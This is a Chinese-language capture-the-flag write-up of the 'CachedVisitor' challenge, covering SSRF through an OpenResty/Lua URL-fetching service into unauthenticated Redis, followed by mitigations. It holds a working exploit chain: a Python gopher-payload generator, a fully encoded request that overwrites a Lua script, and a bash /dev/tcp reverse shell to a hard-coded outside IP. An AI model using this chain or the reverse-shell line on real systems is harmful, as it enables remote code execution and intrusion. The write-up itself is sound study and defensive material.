软件系统安全赛CachedVisitor详解——记一次对Redis+ssrf的详细分析
字数 1560 2025-08-22 12:22:54

Redis+SSRF漏洞利用详解:基于CachedVisitor案例的分析与实战

1. 环境分析

1.1 Dockerfile解析

从提供的Dockerfile中,我们可以提取出以下关键信息:

COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
RUN mkdir /scripts
COPY scripts/* /scripts
RUN chmod +x -R /scripts
COPY redis.conf /redis.conf
COPY start.sh /
RUN chmod +x /start.sh
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

关键点:

  • 使用OpenResty作为Web服务器
  • 配置了Lua脚本main.lua作为主要处理逻辑
  • scripts目录下的文件复制到/scripts并赋予执行权限
  • 包含Redis服务配置
  • 设置了flag文件权限为只读(400)
  • readflag程序设置了SUID位(+xs)

1.2 Lua脚本分析

main.lua脚本的主要功能:

local function read_file(filename)
    [……]
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    -- 执行匹配到的Lua代码
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

关键点:

  • /scripts/visit.script读取文件内容
  • 提取##LUA_START####LUA_END##之间的Lua代码并执行
  • 这是一个典型的动态执行外部脚本的设计,存在潜在安全风险

2. visit.script分析

visit.script文件内容:

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
    ngx.say("URL parameter is missing!")
    return
end

local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
    ngx.say(res)
    return
end

local c = curl.easy {
    url = url,
    timeout = 5,
    connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)
local ok, err = pcall(c.perform, c)
if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end
c:close()

local response_str = table.concat(response_body)
local ok, err = red:setex(url, 3600, response_str)
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

ngx.say(response_str)
##LUA_END##

关键功能:

  1. 从URL参数获取url参数
  2. 尝试连接本地Redis(127.0.0.1:6379)
  3. 先在Redis中查询该URL对应的缓存
  4. 如果没有缓存,则使用cURL访问该URL
  5. 将响应结果存入Redis并设置1小时过期时间
  6. 返回响应内容

漏洞点:

  • 未对url参数进行任何过滤或验证
  • 允许使用任意协议(包括gopher://, dict://等)
  • Redis服务暴露在本地且无认证

3. 漏洞利用:SSRF+Redis攻击链

3.1 攻击思路

  1. 通过SSRF访问本地Redis服务
  2. 利用Redis协议注入恶意Lua代码
  3. 覆盖/scripts/visit.script文件
  4. 触发恶意代码执行

3.2 攻击步骤详解

步骤1:验证Redis服务

使用dict协议验证Redis服务是否开放:

http://target/visit?url=dict://127.0.0.1:6379/info

步骤2:构造Redis协议攻击载荷

使用Gopher协议构造Redis命令序列,关键命令:

  1. flushall - 清空Redis数据
  2. set - 设置键值对(存储恶意Lua代码)
  3. config set dir - 设置Redis持久化目录
  4. config set dbfilename - 设置持久化文件名
  5. save - 保存数据到磁盘

恶意Lua代码示例:

io.popen("bash -c 'bash -i >& /dev/tcp/attacker-ip/port 0>&1'")

步骤3:生成Gopher URL

使用Python脚本生成攻击URL:

import urllib.parse

content = """\n\n##LUA_START##\nio.popen("bash -c 'bash -i >& /dev/tcp/8.217.118.198/7897 0>&1'")\n##LUA_END##\n\n"""
len_content = len(content) + 4  # 有content上下有4个换行
dir = "/scripts"
filename = "visit.script"

payload = f"""*1\r$8\rflushall\r*3\r$3\rset\r$1\r8\r${str(len_content)}\r{content}\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r${str(len(dir))}\r{dir}\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r${str(len(filename))}\r{filename}\r*1\r$4\rsave\r"""

result = urllib.parse.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")
print("gopher%3A//127.0.0.1%3A6379/_"+result)

步骤4:发送攻击请求

构造HTTP请求:

GET /visit?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A8%250D%250A%252499%250D%250A%250A%250A%250A%250A%2523%2523LUA_START%2523%2523%250Aio.popen%2528%2522bash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/8.217.118.198/7897%25200%253E%25261%2527%2522%2529%250A%2523%2523LUA_END%2523%2523%250A%250A%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25248%250D%250A/scripts%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252412%250D%250Avisit.script%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

注意:

  • 在Burp Suite中需要对payload进行二次URL编码
  • 攻击者需提前监听指定端口(nc -lvnp 7897)

步骤5:触发反弹Shell

再次访问/visit端点触发恶意脚本执行:

GET /visit?url=111

4. 防御措施

4.1 修复SSRF漏洞

  1. 对URL参数进行严格验证:
    • 限制协议类型(只允许http/https)
    • 验证目标主机和端口
    • 使用白名单机制
local allowed_protocols = { "http", "https" }
local parsed = ngx.re.match(url, "^(https?)://([^/]+)")
if not parsed or not table.contains(allowed_protocols, parsed[1]) then
    ngx.say("Invalid URL protocol")
    return
end
  1. 禁用危险协议:
    • 在OpenResty配置中禁用gopher, dict, file等协议

4.2 Redis安全配置

  1. 启用Redis认证:

    • 在redis.conf中设置requirepass
  2. 限制Redis绑定:

    • 只绑定必要接口bind 127.0.0.1
  3. 禁用危险命令:

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command SAVE ""
    

4.3 文件操作安全

  1. 限制脚本目录权限:

    RUN chmod 750 /scripts
    RUN chown root:root /scripts/*
    
  2. 禁用动态代码执行:

    • 避免从文件读取并执行动态代码
    • 如需此功能,应实现签名验证机制

5. 总结

本案例展示了如何利用SSRF漏洞结合Redis未授权访问实现远程代码执行。关键点包括:

  1. 未过滤的URL参数导致SSRF
  2. Redis未授权访问允许任意命令执行
  3. 通过Redis持久化机制覆盖Lua脚本文件
  4. 动态代码执行功能放大了攻击影响

防御此类攻击需要多层防护:

  • 输入验证
  • 服务最小权限原则
  • 危险功能禁用
  • 安全配置检查
Redis+SSRF漏洞利用详解:基于CachedVisitor案例的分析与实战 1. 环境分析 1.1 Dockerfile解析 从提供的Dockerfile中,我们可以提取出以下关键信息: 关键点: 使用OpenResty作为Web服务器 配置了Lua脚本 main.lua 作为主要处理逻辑 将 scripts 目录下的文件复制到 /scripts 并赋予执行权限 包含Redis服务配置 设置了flag文件权限为只读(400) readflag 程序设置了SUID位(+xs) 1.2 Lua脚本分析 main.lua 脚本的主要功能: 关键点: 从 /scripts/visit.script 读取文件内容 提取 ##LUA_START## 和 ##LUA_END## 之间的Lua代码并执行 这是一个典型的动态执行外部脚本的设计,存在潜在安全风险 2. visit.script分析 visit.script 文件内容: 关键功能: 从URL参数获取 url 参数 尝试连接本地Redis(127.0.0.1:6379) 先在Redis中查询该URL对应的缓存 如果没有缓存,则使用cURL访问该URL 将响应结果存入Redis并设置1小时过期时间 返回响应内容 漏洞点: 未对 url 参数进行任何过滤或验证 允许使用任意协议(包括 gopher:// , dict:// 等) Redis服务暴露在本地且无认证 3. 漏洞利用:SSRF+Redis攻击链 3.1 攻击思路 通过SSRF访问本地Redis服务 利用Redis协议注入恶意Lua代码 覆盖 /scripts/visit.script 文件 触发恶意代码执行 3.2 攻击步骤详解 步骤1:验证Redis服务 使用 dict 协议验证Redis服务是否开放: 步骤2:构造Redis协议攻击载荷 使用Gopher协议构造Redis命令序列,关键命令: flushall - 清空Redis数据 set - 设置键值对(存储恶意Lua代码) config set dir - 设置Redis持久化目录 config set dbfilename - 设置持久化文件名 save - 保存数据到磁盘 恶意Lua代码示例: 步骤3:生成Gopher URL 使用Python脚本生成攻击URL: 步骤4:发送攻击请求 构造HTTP请求: 注意: 在Burp Suite中需要对payload进行二次URL编码 攻击者需提前监听指定端口(nc -lvnp 7897) 步骤5:触发反弹Shell 再次访问 /visit 端点触发恶意脚本执行: 4. 防御措施 4.1 修复SSRF漏洞 对URL参数进行严格验证: 限制协议类型(只允许http/https) 验证目标主机和端口 使用白名单机制 禁用危险协议: 在OpenResty配置中禁用 gopher , dict , file 等协议 4.2 Redis安全配置 启用Redis认证: 在redis.conf中设置 requirepass 限制Redis绑定: 只绑定必要接口 bind 127.0.0.1 禁用危险命令: 4.3 文件操作安全 限制脚本目录权限: 禁用动态代码执行: 避免从文件读取并执行动态代码 如需此功能,应实现签名验证机制 5. 总结 本案例展示了如何利用SSRF漏洞结合Redis未授权访问实现远程代码执行。关键点包括: 未过滤的URL参数导致SSRF Redis未授权访问允许任意命令执行 通过Redis持久化机制覆盖Lua脚本文件 动态代码执行功能放大了攻击影响 防御此类攻击需要多层防护: 输入验证 服务最小权限原则 危险功能禁用 安全配置检查